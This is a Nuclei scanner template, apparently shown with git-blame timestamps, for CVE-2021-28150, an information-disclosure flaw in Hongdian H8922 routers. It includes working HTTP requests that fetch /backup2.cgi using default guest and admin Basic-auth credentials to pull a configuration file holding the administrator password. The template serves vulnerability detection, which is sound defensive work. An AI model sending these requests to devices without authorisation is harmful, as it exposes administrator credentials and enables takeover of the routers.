2021-07-10 12:16:35 +00:00
id : CVE-2021-28150
info :
2023-02-01 17:34:41 +00:00
name : Hongdian H8922 3.0.5 - Information Disclosure
2021-07-10 12:16:35 +00:00
author : gy741
severity : medium
2023-02-01 18:27:43 +00:00
description : Hongdian H8922 3.0.5 is susceptible to information disclosure. An attacker can access cli.conf (with the administrator password and other sensitive data) via /backup2.cgi and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to the exposure of sensitive data, potentially compromising the confidentiality of the system and its users.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patch or update provided by Hongdian to fix the information disclosure vulnerability (CVE-2021-28150).
2021-08-18 11:37:49 +00:00
reference :
2021-07-10 13:15:09 +00:00
- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
2022-05-17 09:18:12 +00:00
- http://en.hongdian.com/Products/Details/H8922
2023-02-01 17:28:44 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-28150
2024-05-31 19:23:20 +00:00
- https://github.com/SexyBeast233/SecBooks
- https://github.com/Threekiii/Awesome-POC
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-28150
2023-07-11 19:49:27 +00:00
cwe-id : CWE-425
2024-01-14 13:49:27 +00:00
epss-score : 0.00253
2024-05-31 19:23:20 +00:00
epss-percentile : 0.6512
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : hongdian
product : h8922_firmware
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,hongdian,exposure
2021-07-10 12:16:35 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-10 12:16:35 +00:00
- raw :
- |
GET /backup2.cgi HTTP/1.1
Host : {{Hostname}}
Authorization : Basic Z3Vlc3Q6Z3Vlc3Q=
- |
GET /backup2.cgi HTTP/1.1
Host : {{Hostname}}
Authorization : Basic YWRtaW46YWRtaW4=
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-07-10 12:16:35 +00:00
words :
- "application/octet-stream"
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-07-10 12:16:35 +00:00
words :
- "CLI configuration saved from vty"
2021-07-10 13:15:09 +00:00
- "service webadmin"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022028bc49aed0dad70ffa655f7fa36fda9a12a2f1f64120ec110f2b6a4b9bc6e701022100aa4a3250ab4373785c6a72a5f0c696f99342c751e8d67ebca79254dbebae9f3c:922c64590222798bb761d5b6d8e72950